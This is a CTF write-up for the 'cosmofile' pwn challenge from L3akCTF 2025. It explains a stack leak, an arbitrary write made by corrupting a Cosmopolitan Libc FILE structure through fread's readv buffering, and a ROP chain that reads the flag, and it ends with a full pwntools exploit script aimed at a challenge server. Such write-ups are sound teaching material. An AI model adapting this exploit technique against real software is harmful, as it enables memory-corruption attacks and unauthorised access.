cosmofile - L3akCTF 2025
Have you ever read files? Hopefully, this will teach you how to read them. Go read the code, the Dockerfile, the fake flag, and the secrets of the universe…and the real flag, of course.
Introduction
This challenge features a binary compiled with Cosmopolitan Libc - a build system that creates “Actually Portable Executable” binaries that run on multiple operating systems and architectures from a single file. There are no protections enabled except for NX.
The binary opens /tmp/cosmofile.txt and provides a menu with options to read from the file or exit. There’s also a hidden backdoor option 7238770 that allows writing up to 0x70 bytes directly to the FILE structure:
if (rax_10 == 0x6e7472) {
cosmo_puts("Whoa whoa whoa... you can't just…");
cosmo_puts("Just kidding, that's not really …");
read(0, rax, 0x70); // Direct write to FILE structure (rax)
}
When option 1 is selected, the program calls fread(&buf, 1, 0x1000, rax).
Exploitation
Exploit Cosmopolitan’s fread_unlocked buffering mechanism. When specific conditions are met, fread uses readv() with two iovec structures - one pointing to the user buffer and another to the FILE’s internal buffer. This allows writing to two memory locations simultaneously, enabling arbitrary writes.
Step 1: Stack Leak
By selecting option 1 initially, obtain a stack leak since the buffer isn’t initialized. The leak appears at a fixed offset in the output.
Step 2: Arbitrary Write via Buffering Trick
Overwriting the FILE structure can be used with fread. But how does that lead to an arbitrary write?
The key is in Cosmopolitan’s fread_unlocked.c. When these conditions are met:
f->bufmode != _IONBF(not unbuffered mode)n < f->size(requested bytes < FILE buffer size)
the function sets up two iovec structures:

Then readv(f->fd, iov, 2) writes to both locations simultaneously.
For this exploit, control these key fields in the FILE structure:
Offset Field Value
+0x00 bufmode 0 (_IOFBF - full buffering)
+0x04 oflags 0 (O_RDONLY)
+0x0c fd 0 (stdin)
+0x18 size 0x1000 + len(payload)
+0x1c beg 0
+0x20 end 0
+0x28 buf target_address
By setting f->buf to the target address and f->size to be larger than the requested amount, fread will:
- Read 0x1000 bytes from stdin to the stack buffer
- Read additional bytes from stdin directly to the target address (
f->buf)
This provides arbitrary write to any address.
Step 3: Ret2syscall
Since the Docker container bind-mounts /srv at /, executing /bin/sh would actually try to execute /srv/bin/sh which doesn’t exist. Instead, read the flag with open, read and write.
Thankfully, pwntools speeds up this process a lot with the rop.call function.
rop.call('open', ['flag.txt', 0])
rop.call('read', [4, buffer, 100])
rop.call('write', [1, buffer, 100])
Overwrite the return address of the menu function with the ROP chain.
Proof

Full exploit
#!/usr/bin/python3
from pwn import *
context.log_level = "debug"
context.terminal = ["zellij", "action", "new-pane", "-d", "right", "-c", "--", "zsh", "-c"]
exe = context.binary = ELF("/home/razvan/Desktop/cosmofile-L3akCTF/cosmofile")
libc = exe.libc
def start(*pargs, **kwargs):
if args.REMOTE:
return remote("34.45.81.67", 16005)
if args.GDB:
return exe.debug(gdbscript="b*menu+0x30\ncontinue", *pargs, **kwargs)
return exe.process(*pargs, **kwargs)
io = start(aslr=False)
####### HELPERS #######
# Trimmed to whats needed
def file_struct_trimmed(bufmode=0, freethis=0, freebuf=0, forking=0, oflags=0,
state=0, fd=0, pid=0, refs=0, size=0, beg=0, end=0, buf=0):
file_struct = b''
file_struct += p8(bufmode)
file_struct += p8(freethis)
file_struct += p8(freebuf)
file_struct += p8(forking)
file_struct += p32(oflags)
file_struct += p32(state)
file_struct += p32(fd)
file_struct += p32(pid)
file_struct += p32(refs)
file_struct += p32(size)
file_struct += p32(beg)
file_struct += p32(end)
file_struct += b'\x00' * 4
file_struct += p64(buf)
return file_struct
def arb_write(addr:int, content:bytes):
io.sendlineafter(b"> ", b"7238770") # backdoor
io.recvlines(2)
fs = file_struct_trimmed(
bufmode = 0, # _IOFBF
oflags = 0, # O_RDONLY
fd = 0,
size = 0x1000 + len(content),
beg = 0,
end = 0,
buf = addr
)
io.send(fs)
io.sendlineafter(b"> ", b"1")
io.recvline()
io.send(cyclic(0x1000) + content)
####### BEGIN #######
io.sendlineafter(b"> ", b"1")
io.recvuntil(b"not here...")
raw_leak = io.recvline()
stack_leak = u64(raw_leak[2613:2613+8])
print("stack leak @ %s" % hex(stack_leak))
menu_ret = stack_leak - 0x7fffffffdb10 + 0x7fffffffcbe8
# but can't just execve /bin/sh due to the docker settings
rop = ROP(exe)
wspace = 0x42f010 # just some random addr in writable space
arb_write(wspace, b"flag.txt\x00")
rop.call('open', [wspace, 0])
rop.call('read', [4, wspace+0x10, 100])
rop.call('write', [1, wspace+0x10, 100])
rop.call('exit', [0]) # debug reasons
chain = rop.chain()
arb_write(menu_ret, chain)
io.interactive()